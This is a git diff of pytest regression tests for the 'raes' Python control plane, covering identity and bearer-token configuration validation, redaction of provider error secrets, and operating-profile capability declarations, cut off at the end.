b/implementations/python/tests/test_issue_1187_control_plane_security_conformance.py @@ -0,0 +1,149 @@ +"""CP-9 adversarial configuration and provider-disclosure regressions.""" + +from __future__ import annotations + +from dataclasses import asdict + +import pytest +from raes_backend_stubs.stubs import create_stub_target +from raes_contracts.plan_projection import evaluation_plan_model, orchestration_plan_model, provisioning_plan_model +from raes_contracts.planning import ( + ChangeAction, + EvaluationOp, + EvaluationPlan, + OrchestrationOp, + OrchestrationPlan, + ProvisioningPlan, + ProvisionOp, +) +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_api import create_control_plane_app +from raes_runtime.control_plane_security import ControlPlaneIdentity, ControlPlaneRole, ControlPlaneSecurityConfig +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from starlette.testclient import TestClient + +pytestmark = pytest.mark.control_plane_conformance + + +def _identity(name: str = "operator") -> ControlPlaneIdentity: + return ControlPlaneIdentity(identity=name, roles=frozenset({ControlPlaneRole.OPERATOR}), target_name="stub") + + +@pytest.mark.parametrize( + "settings", + [ + {"identity_header": "Authorization"}, + {"verified_header": "AUTHORIZATION"}, + {"identity_header": "X-Identity", "verified_header": "x-identity"}, + {"identity_header": ""}, + {"verified_header": "bad\nheader"}, + {"bearer_tokens": {"": _identity()}}, + {"bearer_tokens": {" ": _identity()}}, + {"bearer_tokens": {"token": _identity("")}}, + {"trusted_identities": {"": _identity()}}, + {"trusted_identities": {"proxy": _identity(" ")}}, + ], +) +def test_security_configuration_rejects_ambiguous_or_empty_identity(settings: dict[str, object]) -> None: + with pytest.raises(ValueError): + ControlPlaneSecurityConfig(**settings) + + +def test_empty_bearer_configuration_cannot_authenticate_an_empty_credential() -> None: + # Construction is the admission boundary: an empty credential must never + # become a usable configured principal in the HTTP adapter. + principal = _identity() + with pytest.raises(ValueError): + ControlPlaneSecurityConfig(bearer_tokens={"": principal}) + + +@pytest.mark.parametrize("method", ["validate", "apply"]) +def test_provider_failure_redacts_type_message_chain_and_durable_carriers(tmp_path, caplog, method: str) -> None: + target = create_stub_target() + secret_type = type("SyntheticProviderSecret1187", (RuntimeError,), {}) + + def fail(*_args): + try: + raise OSError("synthetic-inner-secret-1187") + except OSError as cause: + raise secret_type("synthetic-provider-secret-1187") from cause + + setattr(target.provisioner, method, fail) + store = LocalControlPlaneStore(tmp_path / "store") + control_plane = RuntimeControlPlane(target, store=store) + security = ControlPlaneSecurityConfig(bearer_tokens={"synthetic-token": _identity()}) + with TestClient(create_control_plane_app(control_plane, security=security)) as client: + response = client.post( + "/operations/provisioning", + json=provisioning_plan_model(ProvisioningPlan()).model_dump(mode="json"), + headers={"authorization": "Bearer synthetic-token"}, + ) + assert response.status_code == 200 + status = client.get( + f"/operations/{response.json()['operation_id']}", headers={"authorization": "Bearer synthetic-token"} + ) + assert status.status_code == 200 + assert status.json()["state"] == "failed" + evidence = repr((response.json(), status.json(), store.load_records(), [asdict(e) for e in store.read_audit()])) + assert "runtime.backend-call-failed" in evidence + for secret in (secret_type.__name__, "synthetic-provider-secret-1187", "synthetic-inner-secret-1187"): + assert secret not in evidence + caplog.text + + +@pytest.mark.parametrize("domain", ["provisioning", "orchestration", "evaluation"]) +def test_planner_denial_preserves_forbidden_response_when_audit_fails(tmp_path, monkeypatch, caplog, domain) -> None: + control_plane = RuntimeControlPlane(create_stub_target(), store=LocalControlPlaneStore(tmp_path / "store")) + security = ControlPlaneSecurityConfig(bearer_tokens={"synthetic-token": _identity()}) + + def fail_audit(**_kwargs): + raise OSError("synthetic-audit-secret-1187") + + monkeypatch.setattr(control_plane, "record_audit", fail_audit) + # A valid nonempty portable plan has not been registered by the planner. + model = { + "provisioning": provisioning_plan_model( + ProvisioningPlan( + operations=[ + ProvisionOp( + action=ChangeAction.CREATE, address="provision.network.lan", resource_type="network", payload={} + ) + ] + ) + ), + "orchestration": orchestration_plan_model( + OrchestrationPlan( + operations=[ + OrchestrationOp( + action=ChangeAction.CREATE, + address="orchestration.workflow.test", + resource_type="workflow", + payload={}, + ) + ] + ) + ), + "evaluation": evaluation_plan_model( + EvaluationPlan( + operations=[ + EvaluationOp( + action=ChangeAction.CREATE, + address="evaluation.assertion.test", + resource_type="assertion", + payload={}, + ) + ] + ) + ), + }[domain] + with TestClient( + create_control_plane_app(control_plane, security=security), raise_server_exceptions=False + ) as client: + response = client.post( + f"/operations/{domain}", + json=model.model_dump(mode="json"), + headers={"authorization": "Bearer synthetic-token"}, + ) + assert response.status_code == 403 + assert response.json() == {"detail": f"{domain} plan is not planner-authorized"} + assert control_plane._store.load_records() == {} + assert "synthetic-audit-secret-1187" not in response.text + caplog.text diff --git a/implementations/python/tests/test_issue_1189_control_plane_profile_declarations.py b/implementations/python/tests/test_issue_1189_control_plane_profile_declarations.py new file mode 100644 index 000000000..96109c327 --- /dev/null +++ b/implementations/python/tests/test_issue_1189_control_plane_profile_declarations.py @@ -0,0 +1,262 @@ +"""Profile selection and capability declarations for CP-10.""" + +from __future__ import annotations + +import re +from dataclasses import replace +from pathlib import Path + +import pytest +from raes_backend_stubs.stubs import create_stub_target +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_api import create_control_plane_app +from raes_runtime.control_plane_profiles import ( + ControlPlaneCapability, + ControlPlaneProfile, + ControlPlaneStoreCapabilities, + profile_declaration, +) +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.control_plane_store_memory import InMemoryControlPlaneStore + + +def test_canonical_profile_matrix_and_unavailable_p3() -> None: + expected = { + ControlPlaneProfile.P0: ( + "embedder", + "not-applicable", + {"in-process-safety", "actor-scoped-idempotency", "target-run-isolation", "revision-cas", "atomic-audit"}, + {"durability", "restart-recovery", "multi-owner", "high-availability", "multitenancy"}, + { + "store.ephemeral", + "store.atomic-claims", + "store.atomic-terminal", + "store.revision-cas", + "store.audit", + "store.scope-bound", + "core.actor-context", + "core.mutation-authority", + }, + ), + ControlPlaneProfile.P1: ( + "embedder", + "optional-indeterminate", + { + "in-process-safety", + "actor-scoped-idempotency", + "target-run-isolation", + "revision-cas", + "atomic-audit", + "durable-state", + "retained-idempotency", + "lease-admission", + "startup-reconciliation", + }, + {"multi-owner", "high-availability", "exactly-once-effects", "multitenancy"}, + { + "store.durable", + "store.atomic-claims", + "store.atomic-terminal", + "store.revision-cas", + "store.audit", + "store.scope-bound", + "store.owner-lease", + "core.actor-context", + "core.mutation-authority", + "core.startup-reconciliation", + }, + ), + ControlPlaneProfile.P2: ( + "authenticated-http", + "optional-indeterminate", + { + "in-process-safety", + "actor-scoped-idempotency", + "target-run-isolation", + "revision-cas", + "atomic-audit", + "durable-state", + "retained-idempotency", + "lease-admission", + "startup-reconciliation", + "authenticated-transport", + "actor-bound-disclosure", + "owner-serialized-mutation", + "revision-carrying-reads", + }, + {"multi-worker", "tls-proxy-deployment", "high-availability", "exactly-once-effects", "multitenancy"}, + { + "store.durable", + "store.atomic-claims", + "store.atomic-terminal", + "store.revision-cas", + "store.audit", + "store.scope-bound", + "store.owner-lease", + "core.actor-context", + "core.mutation-authority", + "core.startup-reconciliation", + "http.authenticated-identity", + "http.single-worker", + "http.bounded-admission", + "http.revision-reads", + }, + ), + ControlPlaneProfile.P3: ("unavailable", "future-unspecified", set(), {"future-coordination"}, set()), + } + for profile, (actor, recovery, guarantees, nonclaims, required) in expected.items(): + declaration = profile_declaration(profile) + assert declaration.profile is profile + assert declaration.actor_boundary.value == actor + assert declaration.recovery_observation.value == recovery + assert {claim.identifier for claim in declaration.guarantees} == guarantees + assert {claim.identifier for claim in declaration.nonclaims} == nonclaims + assert declaration.one_target_per_store is (profile is not ControlPlaneProfile.P3) + assert declaration.one_run_per_store is (profile is not ControlPlaneProfile.P3) + assert {item.value for item in declaration.required_capabilities} == required + assert declaration.available is (profile is not ControlPlaneProfile.P3) + assert not profile_declaration(ControlPlaneProfile.P3).guarantees + + +def test_selected_p0_uses_canonical_declaration_and_binds_one_scope() -> None: + store = InMemoryControlPlaneStore() + first = RuntimeControlPlane(create_stub_target(), store=store, profile=ControlPlaneProfile.P0) + try: + assert first.profile_declaration is profile_declaration(ControlPlaneProfile.P0) + assert store.control_plane_capabilities.capabilities >= { + ControlPlaneCapability.STORE_EPHEMERAL, + ControlPlaneCapability.STORE_ATOMIC_CLAIMS, + } + finally: + first.close() + other_target = replace(create_stub_target(), name="other") + with pytest.raises(ValueError, match="store scope"): + RuntimeControlPlane( + other_target, + store=store, + profile=ControlPlaneProfile.P0, + ) + + +def test_unselected_legacy_memory_store_can_be_reused_for_another_scope() -> None: + store = InMemoryControlPlaneStore() + first = RuntimeControlPlane(create_stub_target(), store=store) + first.close() + second = RuntimeControlPlane( + replace(create_stub_target(), name="other"), + store=store, + run_scope="run:other", + ) + second.close() + + +def test_selected_p0_store_has_one_active_owner_and_releases_it_on_close() -> None: + store = InMemoryControlPlaneStore() + first = RuntimeControlPlane(create_stub_target(), store=store, profile=ControlPlaneProfile.P0) + second = None + try: + target = create_stub_target() + with pytest.raises(RuntimeError, match="already has a runtime owner"): + second = RuntimeControlPlane(target, store=store, profile=ControlPlaneProfile.P0) + finally: + if second is not None: + second.close() + first.close() + third = RuntimeControlPlane(create_stub_target(), store=store, profile=ControlPlaneProfile.P0) + third.close() + + +def test_selected_p1_and_p2_share_canonical_declarations(tmp_path) -> None: + store = LocalControlPlaneStore(tmp_path / "store") + plane = RuntimeControlPlane(create_stub_target(), store=store, profile=ControlPlaneProfile.P1) + try: + assert plane.profile_declaration is profile_declaration(ControlPlaneProfile.P1) + app = create_control_plane_app(plane, profile=ControlPlaneProfile.P2) + assert app.state.control_plane_profile is profile_declaration(ControlPlaneProfile.P2) + assert plane.profile_declaration is profile_declaration(ControlPlaneProfile.P1) + finally: + plane.close() + + +def test_missing_p1_capabilities_fail_before_store_access(tmp_path) -> None: + class ObservedMemoryStore(InMemoryControlPlaneStore): + def load_snapshot_state(self): + raise AssertionError("store was accessed") + + target = create_stub_target() + store = ObservedMemoryStore() + with pytest.raises(TypeError, match="store.durable.*store.owner-lease"): + RuntimeControlPlane( + target, + store=store, + profile=ControlPlaneProfile.P1, + ) + assert not (tmp_path / "store").exists() + + +@pytest.mark.parametrize( + "capability", + sorted(LocalControlPlaneStore.control_plane_capabilities.capabilities, key=lambda item: item.value), +) +def test_every_p1_store_capability_is_required_before_admission(tmp_path, capability) -> None: + class DeficientStore(LocalControlPlaneStore): + control_plane_capabilities = ControlPlaneStoreCapabilities( + LocalControlPlaneStore.control_plane_capabilities.capabilities - {capability} + ) + + path = tmp_path / "unopened" + target = create_stub_target() + store = DeficientStore(path) + with pytest.raises(TypeError, match=capability.value): + RuntimeControlPlane(target, store=store, profile=ControlPlaneProfile.P1) + assert not path.exists() + + +def test_store_capability_declaration_cannot_be_mutated() -> None: + capabilities = {ControlPlaneCapability.STORE_EPHEMERAL} + declaration = ControlPlaneStoreCapabilities(capabilities) + capabilities.clear() + assert declaration.capabilities == {ControlPlaneCapability.STORE_EPHEMERAL} + with pytest.raises(AttributeError): + declaration.capabilities.add(ControlPlaneCapability.STORE_DURABLE) + + +def test_p2_rejects_p0_core_and_p3_rejects_before_provider_access() -> None: + plane = RuntimeControlPlane(create_stub_target(), profile=ControlPlaneProfile.P0) + try: + with pytest.raises(ValueError, match="P1"): + create_control_plane_app(plane, profile=ControlPlaneProfile.P2) + finally: + plane.close() + target = create_stub_target() + with pytest.raises(ValueError, match="P3"): + RuntimeControlPlane(target, profile=ControlPlaneProfile.P3) + + +def test_explicit_selection_does_not_infer_or_downgrade() -> None: + target = create_stub_target() + with pytest.raises(TypeError): + RuntimeControlPlane(target, profile="P0") + plane = RuntimeControlPlane(create_stub_target()) + try: + assert plane.profile_declaration is None + app = create_control_plane_app(plane) + assert app.state.control_plane_profile is None + finally: + plane.close() + + +def test_explain_profile_identifiers_match_canonical_catalog() -> None: + page = Path(__file__).resolve().parents[3] / "docs/explain/sdl/runtime-architecture.md" + section = page.read_text().split("## Control-plane operating profiles", 1)[1].split("\n## ", 1)[0] + rows = {} + for line in section.splitlines(): + if re.match(r"^\| P[0-9] \|", line): + cells = [cell.strip() for cell in line.strip("|").split("|")] + rows[cells[0]] = cells + assert set(rows) == {profile.value for profile in ControlPlaneProfile} + for profile in ControlPlaneProfile: + declaration = profile_declaration(profile) + _, guarantees, nonclaims = rows[profile.value] + assert set(guarantees.split(", ")) - {"none"} == {claim.identifier for claim in declaration.guarantees} + assert set(nonclaims.split(", ")) == {claim.identifier for claim in declaration.nonclaims} diff --git a/implementations/python/tests/test_issue_1204_reference_profiles.py b/implementations/python/tests/test_issue_1204_reference_profiles.py index 7e52097cb..e70c75294 100644 --- a/implementations/python/tests/test_issue_1204_reference_profiles.py +++ b/implementations/python/tests/test_issue_1204_reference_profiles.py @@ -123,32 +123,31 @@ def test_profile_authentication_and_rejected_delivery_preserve_durable_predecess assert accepted.is_success, accepted.text receipt = accepted.json() assert control.get_operation(receipt["operation_id"]).state is OperationState.SUCCEEDED - before = _snapshot_payload(control.snapshot) - second = manager.plan( - parse_sdl("name: profiles\nnodes:\n host: {type: compute, resources: {cpu: 2, ram: 1 gib}}\n"), - snapshot=control.snapshot, - profile_authority=authority, - ) - control.register_planner_produced_plan(second) - original_apply = target.provisioner.apply + before = _snapshot_payload(control.snapshot) + second = manager.plan( + parse_sdl("name: profiles\nnodes:\n host: {type: compute, resources: {cpu: 2, ram: 1 gib}}\n"), + snapshot=control.snapshot, + profile_authority=authority, + ) + control.register_planner_produced_plan(second) + original_apply = target.provisioner.apply - def reject_delivery(request, snapshot): - result = original_apply(request, snapshot) - entry = result.snapshot.entries["provision.node.host"] - wrong = entry.profile_bindings[0].model_copy(update={"value": {"name": "red"}}) - result.snapshot.entries[entry.address] = replace(entry, profile_bindings=(wrong,)) - return result + def reject_delivery(request, snapshot): + result = original_apply(request, snapshot) + entry = result.snapshot.entries["provision.node.host"] + wrong = entry.profile_bindings[0].model_copy(update={"value": {"name": "red"}}) + result.snapshot.entries[entry.address] = replace(entry, profile_bindings=(wrong,)) + return result - # A bound method preserves the target-owned preparation context. - from types import MethodType + # A bound method preserves the target-owned preparation context. + from types import MethodType - target.provisioner.apply = MethodType( - lambda self, request, snapshot: reject_delivery(request, snapshot), target.provisioner - ) - receipt = control.submit_provisioning(second.provisioning) - assert control.get_operation(receipt.operation_id).state is OperationState.FAILED - assert _snapshot_payload(control.snapshot) == before - control.close() + target.provisioner.apply = MethodType( + lambda self, request, snapshot: reject_delivery(request, snapshot), target.provisioner + ) + receipt = control.submit_provisioning(second.provisioning) + assert control.get_operation(receipt.operation_id).state is OperationState.FAILED + assert _snapshot_payload(control.snapshot) == before recovered = RuntimeControlPlane(target, store=LocalControlPlaneStore(tmp_path / "profile-state")) assert _snapshot_payload(recovered.snapshot) == before assert recovered.get_operation(receipt.operation_id).state is OperationState.FAILED diff --git a/implementations/python/tests/test_issue_1205_repository_governance.py b/implementations/python/tests/test_issue_1205_repository_governance.py index 269840e34..7e60c7c03 100644 --- a/implementations/python/tests/test_issue_1205_repository_governance.py +++ b/implementations/python/tests/test_issue_1205_repository_governance.py @@ -20,7 +20,6 @@ "docs/research/formal-semantic-validation/execution-snapshot-v10.json", "implementations/python/uv.lock", "implementations/tooling/python/smoke/linux-arm64-cp314.txt", - "implementations/tooling/inventory-coverage.json", ], ) def test_software_semantics_can_update_its_contract_and_evidence_owners(path): diff --git a/implementations/python/tests/test_issue_1210_semantic_comparison.py b/implementations/python/tests/test_issue_1210_semantic_comparison.py index d1312239b..e9870c267 100644 --- a/implementations/python/tests/test_issue_1210_semantic_comparison.py +++ b/implementations/python/tests/test_issue_1210_semantic_comparison.py @@ -90,7 +90,7 @@ def test_native_editorial_description_still_has_no_semantic_effect(): def test_unsupported_owner_projection_cannot_claim_compatibility(): data = json.loads((ROOT / "contracts/profiles/semantic-comparison/reference-v1.json").read_text()) - data["owner_projection_versions"][ArtifactKind.STUDY.value] = "2" + data["owner_projection_versions"][ArtifactKind.MODULE.value] = "2" with pytest.raises(ValueError): SemanticComparisonProfileModel.model_validate(data) diff --git a/implementations/python/tests/test_issue_1211_progressive_conformance.py b/implementations/python/tests/test_issue_1211_progressive_conformance.py new file mode 100644 index 000000000..7405e5952 --- /dev/null +++ b/implementations/python/tests/test_issue_1211_progressive_conformance.py @@ -0,0 +1,282 @@ +"""Integrated regression anchors for progressive specification (issue #1211).""" + +from copy import deepcopy +from dataclasses import replace +from pathlib import Path + +import pytest +from raes import SDLParseError, canonical_sdl_bytes, instantiate_scenario, parse_sdl, parse_sdl_file +from raes._source_profile import SDLParserLimits +from raes.canonical import InstantiatedScenarioSnapshot, canonical_instantiated_sdl_bytes +from raes.explicitness import ExplicitnessClass +from raes_backend_protocols.capabilities import OperatingSystemCompatibility +from raes_backend_stubs.stubs import StubProvisioner, create_stub_target +from raes_contracts.apparatus import RealizationObservationCapability +from raes_contracts.realization_observation import ( + ObservedOperatingSystemIdentity, + RealizationObservationDisclosure, +) +from raes_contracts.realization_structure import ( + RealizationClosure, + evaluate_realization_constraint, + normalize_realization_literal, +) +from raes_contracts.runtime_state import OperationState +from raes_contracts.vocabulary import ( + ObservationStrength, + RealizationSupportMode, + RealizationVerificationScope, +) +from raes_processor.compiler import compile_runtime_model +from raes_processor.planner import plan +from raes_processor.semantics.realization_concerns import realization_concern_descriptors +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_store import InMemoryControlPlaneStore + +FIXTURE = Path(__file__).parent / "fixtures/progressive-conformance.yaml" + + +class _ObservedStubProvisioner(StubProvisioner): + """Hermetic stub that discloses exact values already present in its result.""" + + def apply(self, submitted, snapshot): + result = super().apply(submitted, snapshot) + disclosures = [] + for sequence, operation in enumerate(submitted.operations, start=1): + node = operation.payload["spec"]["node"] + node_name = operation.address.removeprefix("provision.node.") + disclosures.append( + RealizationObservationDisclosure( + address=operation.address, + field_path=f"nodes.{node_name}.operating-system", + domain="runtime-realization", + requirement_kind="operating-system", + verification_scope=RealizationVerificationScope.PRESENCE, + observation_strength=ObservationStrength.GUEST_OBSERVED, + operating_system=ObservedOperatingSystemIdentity( + family=node["os"], + distribution=node["os_distribution"], + version=node["os_version"], + ), + operation_id=submitted.operation_id or "op-progressive-conformance", + envelope_digest="sha256:" + "a" * 64, + configuration_digest="sha256:" + "b" * 64, + observer_version="hermetic-progressive-conformance/v1", + sequence=sequence, + binding_verified=True, + ) + ) + disclosures.extend( + RealizationObservationDisclosure( + address=authority.address, + field_path=authority.field_path, + domain=authority.domain, + requirement_kind=authority.requirement_kind, + verification_scope=RealizationVerificationScope.CONFIGURATION, + observation_strength=ObservationStrength.GUEST_OBSERVED, + ) + for authority in submitted.realization_authority + if authority.requirement_kind in {"runtime-applications", "runtime-software-components"} + and authority.mode.value != "closed" + ) + return replace(result, snapshot=replace(result.snapshot, realization_observations=tuple(disclosures))) + + +class _PerturbedObservedStubProvisioner(_ObservedStubProvisioner): + """Return a well-shaped snapshot whose private method identity has drifted.""" + + def apply(self, submitted, snapshot): + result = super().apply(submitted, snapshot) + entries = dict(result.snapshot.entries) + entry = entries["provision.node.private"] + payload = deepcopy(entry.payload) + payload["spec"]["node"]["runtime"]["applications"][0]["routes"][0]["methods"][2] = "Privatequery" + entries[entry.address] = replace(entry, payload=payload) + return replace(result, snapshot=result.snapshot.with_entries(entries)) + + +class _RejectingObservationRuntime: + """Fail loudly if a realization-only scenario attempts experimental observation.""" + + capabilities = () + + def collect(self, *args): + raise AssertionError("observation collection must not run") + + def describe(self, *args): + raise AssertionError("observation reporting must not run") + + def protect(self, *args): + raise AssertionError("observation retention must not run") + + def verify_evidence(self, *args): + raise AssertionError("observation evidence verification must not run") + + +def _hermetic_target(provisioner_type=_ObservedStubProvisioner): + target = create_stub_target() + manifest = target.manifest + kinds = {descriptor.concern_kind for descriptor in realization_concern_descriptors()} + configuration = RealizationObservationCapability( + verification_scope=RealizationVerificationScope.CONFIGURATION, + observation_strength=ObservationStrength.GUEST_OBSERVED, + ) + operating_system = RealizationObservationCapability( + verification_scope=RealizationVerificationScope.PRESENCE, + observation_strength=ObservationStrength.GUEST_OBSERVED, + ) + rows = tuple( + OperatingSystemCompatibility(family, distribution, frozenset({version})) + for family, distribution, version in ( + ("linux", "debian", "12"), + ("linux", "x-fedoraproject:fedora", "42"), + ("linux", "x-kali:kali", "2025.1"), + ("linux", "x-acme:research-linux", "1.0"), + ("linux", "ubuntu", "24.04"), + ) + ) + provisioner = replace(manifest.provisioner, operating_systems=rows) + declaration = manifest.realization_support[0] + declaration = replace( + declaration, + support_mode=RealizationSupportMode.OPEN_REALIZATION, + supported_exact_requirement_kinds=declaration.supported_exact_requirement_kinds | kinds, + supported_constraint_kinds=declaration.supported_constraint_kinds | kinds, + observation_capabilities={ + **declaration.observation_capabilities, + **dict.fromkeys(kinds, configuration), + "operating-system": operating_system, + }, + ) + manifest = replace( + manifest, + capabilities=replace(manifest.capabilities, provisioner=provisioner), + realization_support=(declaration,), + ) + provisioner_runtime = provisioner_type(manifest.realization_envelope) + return replace( + target, + manifest=manifest, + provisioner=provisioner_runtime, + observation_runtime=_RejectingObservationRuntime(), + ) + + +def test_private_five_linux_authoring_survives_the_semantic_lifecycle() -> None: + scenario = parse_sdl_file(FIXTURE) + assert tuple(scenario.nodes) == ("debian", "fedora", "kali", "private", "ubuntu") + + instantiated = instantiate_scenario(scenario) + compiled = compile_runtime_model(instantiated) + requirement = next( + item + for item in compiled.realization_requirements + if item.address == "provision.node.private" and item.requirement_kind == "runtime-applications" + ) + methods = requirement.constraint_document.root.items[0].fields["routes"].items[0].fields["methods"] + assert [item.value for item in methods.items] == ["PROPFIND", "PrivateQuery", "privateQuery"] + assert compiled.observation_demands == () + + encoded = canonical_instantiated_sdl_bytes(instantiated) + restored = InstantiatedScenarioSnapshot.model_validate_json(encoded).scenario + assert canonical_instantiated_sdl_bytes(restored) == encoded + assert canonical_sdl_bytes(scenario) == canonical_sdl_bytes(parse_sdl_file(FIXTURE)) + + +def test_open_parents_keep_exact_siblings_and_do_not_invent_observation() -> None: + compiled = compile_runtime_model(parse_sdl_file(FIXTURE)) + by_key = {(item.address, item.requirement_kind): item for item in compiled.realization_requirements} + + kali_distribution = by_key[("provision.node.kali", "os-distribution")] + assert kali_distribution.explicitness is ExplicitnessClass.EXACT + assert evaluate_realization_constraint(kali_distribution.constraint_document, "x-kali:kali").conformant + assert not evaluate_realization_constraint(kali_distribution.constraint_document, "ubuntu").conformant + + applications = by_key[("provision.node.private", "runtime-applications")] + assert applications.explicitness is ExplicitnessClass.OPEN + route_scope = next( + scope for scope in applications.constraint_document.scopes if scope.field_pointer == "/0/routes/0" + ) + assert route_scope.closure.posture.value == "open" + assert compiled.observation_demands == () + assert compiled.action_contracts == {} + + +def test_complete_abstract_model_needs_no_concrete_machine_catalog() -> None: + abstract = { + "computers": { + "a": {"actions": ["increment", "send", "receive"]}, + "b": {"actions": ["increment", "send", "receive"]}, + }, + "links": {"mailbox": {"source": "a", "target": "b"}}, + } + normalized = normalize_realization_literal( + abstract, + semantic_profile="abstract-transition-system/v1", + default_closure=RealizationClosure( + posture="open", + universe="abstract-model/v1", + profile="abstract-transition-system/v1", + ), + ) + assert normalized.document is not None + assert evaluate_realization_constraint(normalized.document, abstract).conformant + serialized = normalized.document.model_dump_json() + assert all(term not in serialized for term in ("operating_system", "image", "packages", "observation")) + + +def test_negative_mutations_fail_at_source_or_identity_boundaries() -> None: + source = FIXTURE.read_text() + invalid_method_source = source.replace("PROPFIND", "BAD METHOD", 1) + with pytest.raises(SDLParseError, match="HTTP method"): + parse_sdl(invalid_method_source) + + low_node_limit = SDLParserLimits(max_nodes=2) + with pytest.raises(SDLParseError, match="unique nodes"): + parse_sdl(source, limits=low_node_limit) + + +def test_same_scenario_plans_executes_persists_and_recovers_without_collection() -> None: + target = _hermetic_target() + execution = plan(compile_runtime_model(parse_sdl_file(FIXTURE)), target.manifest) + assert execution.is_valid, [(item.code, item.message) for item in execution.diagnostics] + + store = InMemoryControlPlaneStore() + control_plane = RuntimeControlPlane(target, store=store) + control_plane.register_planner_produced_plan(execution) + receipt = control_plane.submit_provisioning(execution.provisioning) + assert receipt.accepted + status = control_plane.get_operation(receipt.operation_id) + assert status.state is OperationState.SUCCEEDED, status.diagnostics + assert set(control_plane.snapshot.entries) == { + "provision.node.debian", + "provision.node.fedora", + "provision.node.kali", + "provision.node.private", + "provision.node.ubuntu", + } + assert control_plane.observation_execution(receipt.operation_id) is None + assert all(record.result_payload is None for record in store.load_records().values()) + + recovered = RuntimeControlPlane(target, store=store) + assert recovered.get_operation(receipt.operation_id).state is OperationState.SUCCEEDED + assert recovered.snapshot == control_plane.snapshot + + +def test_runtime_rejects_private_identity_drift_without_persisting_side_effects() -> None: + target = _hermetic_target(_PerturbedObservedStubProvisioner) + execution = plan(compile_runtime_model(parse_sdl_file(FIXTURE)), target.manifest) + assert execution.is_valid, [(item.code, item.message) for item in execution.diagnostics] + + store = InMemoryControlPlaneStore() + control_plane = RuntimeControlPlane(target, store=store) + control_plane.register_planner_produced_plan(execution) + receipt = control_plane.submit_provisioning(execution.provisioning) + assert receipt.accepted + status = control_plane.get_operation(receipt.operation_id) + assert status.state is OperationState.FAILED + assert status.changed_addresses == [] + assert status.diagnostics[0].code == "runtime.backend-contract-invalid" + assert status.diagnostics[0].address == "/provision.node.private" + assert control_plane.snapshot.entries == {} + assert store.load_records()[receipt.operation_id].result_payload is None diff --git a/implementations/python/tests/test_issue_1212_observation_demand.py b/implementations/python/tests/test_issue_1212_observation_demand.py index aa473ce2a..4da95676b 100644 --- a/implementations/python/tests/test_issue_1212_observation_demand.py +++ b/implementations/python/tests/test_issue_1212_observation_demand.py @@ -1202,7 +1202,8 @@ def test_authored_demand_executes_protected_collection_and_retention_in_control_ assert recovered_execution.lifecycle == execution.lifecycle -def test_required_observation_rejects_mutation_and_read_only_failure_is_terminal() -> None: +@pytest.mark.control_plane_conformance +def test_required_observation_rejects_mutation_and_read_only_failure_is_terminal(caplog) -> None: scenario = parse_sdl( """ name: runtime-observation-failure @@ -1237,10 +1238,11 @@ def test_required_observation_rejects_mutation_and_read_only_failure_is_terminal selector = _selector("/nodes/kali", "filesystem-trace") collection_calls: list[str] = [] + provider_error = type("SyntheticObservationSecret1187", (RuntimeError,), {}) def fail_collection(_selector: object, _plan: object, _snapshot: object) -> tuple[object, ...]: collection_calls.append("collect") - raise RuntimeError("adapter failed") + raise provider_error("synthetic-observation-secret-1187") runtime = ConfiguredObservationRuntime( capabilities=( @@ -1274,6 +1276,9 @@ def fail_collection(_selector: object, _plan: object, _snapshot: object) -> tupl assert control_plane.snapshot.entries == {} assert status.changed_addresses == [] assert collection_calls == ["collect"] + evidence = repr((receipt, status, control_plane._store.load_records(), control_plane._store.read_audit())) + assert provider_error.__name__ not in evidence + caplog.text + assert "synthetic-observation-secret-1187" not in evidence + caplog.text def test_runtime_manager_uses_the_same_observation_apply_boundary() -> None: @@ -1597,7 +1602,22 @@ def test_backend_does_not_persist_unrequested_realization_observations() -> None assert control_plane.snapshot.realization_observations == () -def test_native_realization_readback_is_not_reused_as_unprotected_retention() -> None: +@pytest.mark.parametrize( + "backend,mechanism,expected", + [ + ("stub", "x-openrae:in-process-emulation", "failed"), + ("libvirt", "virtual-machine", "succeeded"), + ], +) +def test_native_realization_readback_is_not_reused_as_unprotected_retention(backend, mechanism, expected) -> None: + from libvirt_conformance_fixtures import RecordingLibvirtDriver + from raes_backend_libvirt import create_libvirt_target + + class DemandSelectedDriver(RecordingLibvirtDriver): + def realize(self, **kwargs): + # Collection is performed only by the explicitly selected observe call. + return replace(super().realize(**kwargs), observations=()) + scenario = parse_sdl( """ name: exact-backend-selected-telemetry @@ -1612,7 +1632,7 @@ def test_native_realization_readback_is_not_reused_as_unprotected_retention() -> type: compute source: exact-image resources: {ram: 1 gib, cpu: 1} - """ + """.replace("x-openrae:in-process-emulation", mechanism) ) selector = _selector("/nodes/kali", "compute-substrate", kind="field") demands = normalize_observation_demands( @@ -1631,7 +1651,11 @@ def test_native_realization_readback_is_not_reused_as_unprotected_retention() -> ), target_scopes=("/nodes/kali",), ).effective - target = create_stub_target() + target = ( + create_stub_target() + if backend == "stub" + else create_libvirt_target(driver=DemandSelectedDriver(), driver_mode="generic") + ) execution_plan = RuntimeManager(target).plan(scenario) provisioning = execution_plan.provisioning provisioning = replace(provisioning, observation_demands=demands) @@ -1640,7 +1664,8 @@ def test_native_realization_readback_is_not_reused_as_unprotected_retention() -> receipt = control_plane.submit_provisioning(provisioning) - assert control_plane.get_operation(receipt.operation_id).state.value == "succeeded" + status = control_plane.get_operation(receipt.operation_id) + assert status.state.value == expected, [item.message for item in status.diagnostics] assert control_plane.snapshot.realization_observations == () diff --git a/implementations/python/tests/test_issue_1212_runtime_boundaries.py b/implementations/python/tests/test_issue_1212_runtime_boundaries.py index 65be82e98..b6b61b86b 100644 --- a/implementations/python/tests/test_issue_1212_runtime_boundaries.py +++ b/implementations/python/tests/test_issue_1212_runtime_boundaries.py @@ -256,9 +256,9 @@ def test_api_policy_removal_cannot_start_evaluator(): "x-raes-client-identity": "backend-service", }, ) - assert response.status_code == 403 - assert cp.snapshot == baseline - assert not any(address.startswith("evaluation.") for address in cp.snapshot.entries) + assert response.status_code == 403 + assert cp.snapshot == baseline + assert not any(address.startswith("evaluation.") for address in cp.snapshot.entries) @pytest.mark.parametrize("owner", ["manager", "control-plane"]) diff --git a/implementations/python/tests/test_issue_1217_bootstrap_profiles.py b/implementations/python/tests/test_issue_1217_bootstrap_profiles.py index 2c7fc8a24..ab7512a63 100644 --- a/implementations/python/tests/test_issue_1217_bootstrap_profiles.py +++ 